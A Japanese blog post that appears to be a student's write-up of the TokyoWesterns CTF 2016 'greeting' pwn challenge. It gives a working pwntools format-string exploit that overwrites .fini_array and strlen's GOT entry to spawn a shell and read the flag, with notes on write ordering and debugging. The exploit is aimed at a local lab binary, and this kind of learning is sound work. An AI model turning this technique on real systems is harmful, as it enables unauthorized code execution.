newbieからバイナリアンへ

newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【pwn 4.0】 greeting - TokyoWesterns CTF2016

 

 

0: 参考

bataさんの良問リスト

pastebin.com

CTFtime.orgのwriteup

ctftime.org

作問者様の解説記事

shift-crops.hatenablog.com

 

 

1: イントロ

bataさんの良問リストの先頭にあったbaby問題 "greeting"

作問者さまのブログにソースコードが載っていたため

自分でコンパイルして動かした

 

コンパイルオプションも掲載されていたためそのとおりにコンパイルしたら

defaultでPIE有効であり解けなかった

他の人のwriteupを見る限りPIE無効前提なので

-no-pie指定してコンパイルした

 

 

2: 静的解析

./greeting: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=8252d1d2ab747620cff3b9fc3575a73108bb4ad4, not stripped
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

 

 

3: exploit

読み込んだ入力をそのままprintfで出力しているためFSAでいける

以下はpwntoolsを用いたexploit

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

rhp = {'host':"localhost",'port':12300}
context(os='linux',arch='i386')
binf = ELF("./greeting")

addr_plt_system = binf.plt["system"]
addr_bin_main = binf.functions["main"].address
addr_fini_array = binf.get_section_by_name(".fini_array").header["sh_addr"]
addr_got_strlen = binf.got["strlen"]

#main      : 0x80485f6
#fini_array: 0x8049a28
#original fini_array value: 0x80485c0
#plt_system: 0x8048480
#got_strlen: 0x8049b48
#libc strlen:0xf7dc8480

def exploit(conn):
  index = 12
  nice = "Nice to meet you, "
  diff = 0xf6

  print("main      : "+hex(addr_bin_main))
  print("fini_array: "+hex(addr_fini_array))
  print("plt_system: "+hex(addr_plt_system))
  print("got_strlen: "+hex(addr_got_strlen))
  
  #align for 4 byte align of inp
  inp = "@@"  
  #overwrite fini_array into main
  #こっちで書きすぎちゃうとstrlenのplt書き換えられなくなっちゃうからここはなるべく小さく(hhn)
  inp += p32(addr_fini_array) + p32(addr_got_strlen) + p32(addr_got_strlen + 0x02)
  inp += "%" + str(diff - len(nice) - len(inp)) + "c"
  inp += "%" + str(index) + "$hhn"
  #overwrite plt of strlen into system
  inp += "%" + str(0x0804 - diff) + "c"
  inp += "%" + str(index+2) + "$hn"
  inp += "%" + str(0x8480 - 0x0804) + "c"
  inp += "%" + str(index+1) + "$hn"

  conn.recvuntil("Please tell me your name... ")
  conn.sendline(inp)
  conn.recvuntil("Please tell me your name... ")
  conn.sendline("/bin/sh")
  conn.sendline("cat /flag")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
      b *main+0x46
      b *main+0x79
      c
    """
    conn = gdb.debug("./greeting",cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()

 

 

printf()のあとに関数が呼ばれていないため

.fini_arrayをmainに書き換えることにする

これによってexitの際にmainが呼ばれる

strlenのgotもsystemのpltに書き換えておく

最初から.fini_arrayをsystemに書き換えないのは

ここに登録されたデストラクタはユーザ入力を引数に取れないため

 

そうして2回目のmainのstrnlineで/bin/shを入力すると

これを引数にとるsystem(strlen)が呼び出されてシェルが取れる

 

 

 

4: 注意点

今回はstrlenのgotと.fini_arrayの2箇所を書き換える必要があるため

書き換える値が小さいものから順に書き換えていく必要がある

(出力文字数は減らせないため)

 

また、systemのpltとして0x8048480を書き込む際に

これだけの文字数を出力するとかなり時間がかかってしまうため

%hn指定して2byteずつ出力している

 

これらのアドレスをprintfで参照するためにスタックに積むのだが

4byte alignされるように先頭に2byte文字を付与している

こういった値は計算して求められるのか

実験してみないとだめなのかはわからない

 

それからこのバイナリにはtomoriという独自セクションがある

ここではnaoという関数が呼ばれており/bin/dashをforkしている

セクション tomori の逆アセンブル:

08048794 <nao>:
 8048794:	55                   	push   %ebp
 8048795:	89 e5                	mov    %esp,%ebp
 8048797:	53                   	push   %ebx
 8048798:	83 ec 04             	sub    $0x4,%esp
 804879b:	e8 90 fd ff ff       	call   8048530 <__x86.get_pc_thunk.bx>
 80487a0:	81 c3 80 13 00 00    	add    $0x1380,%ebx
 80487a6:	8b 83 f8 ff ff ff    	mov    -0x8(%ebx),%eax
 80487ac:	8b 00                	mov    (%eax),%eax
 80487ae:	83 ec 08             	sub    $0x8,%esp
 80487b1:	6a 00                	push   $0x0
 80487b3:	50                   	push   %eax
 80487b4:	e8 77 fc ff ff       	call   8048430 <setbuf@plt>
 80487b9:	83 c4 10             	add    $0x10,%esp
 80487bc:	8b 83 fc ff ff ff    	mov    -0x4(%ebx),%eax
 80487c2:	8b 00                	mov    (%eax),%eax
 80487c4:	83 ec 08             	sub    $0x8,%esp
 80487c7:	6a 00                	push   $0x0
 80487c9:	50                   	push   %eax
 80487ca:	e8 61 fc ff ff       	call   8048430 <setbuf@plt>
 80487cf:	83 c4 10             	add    $0x10,%esp
 80487d2:	83 ec 0c             	sub    $0xc,%esp
 80487d5:	8d 83 e8 ec ff ff    	lea    -0x1318(%ebx),%eax
 80487db:	50                   	push   %eax
 80487dc:	e8 9f fc ff ff       	call   8048480 <system@plt>
 80487e1:	83 c4 10             	add    $0x10,%esp
 80487e4:	90                   	nop
 80487e5:	8b 5d fc             	mov    -0x4(%ebp),%ebx
 80487e8:	c9                   	leave  
 80487e9:	c3                   	ret   

 

そのため普通にgdbデバッグするとmainが呼ばれる前に落ちてしまう

 

f:id:smallkirby:20190823125906p:plain

 

これを回避するにはgdbfollow-fork-mode parent を指定して

fork元にattachし続ければ良い

 

あとpwntoolにデバッグに関するメソッドがあるのを初めて知った

 

 

5: 結果 

f:id:smallkirby:20190823130505p:plain



 

 

6: アウトロ

なんかCTFでよくnaoとかtomoriとかいう人名見かけるけど

有名人なのかな?

(cheer_msgとかでもあった気がする)

 

 

 

 

 

 

 

 

 

 

 

続く・・・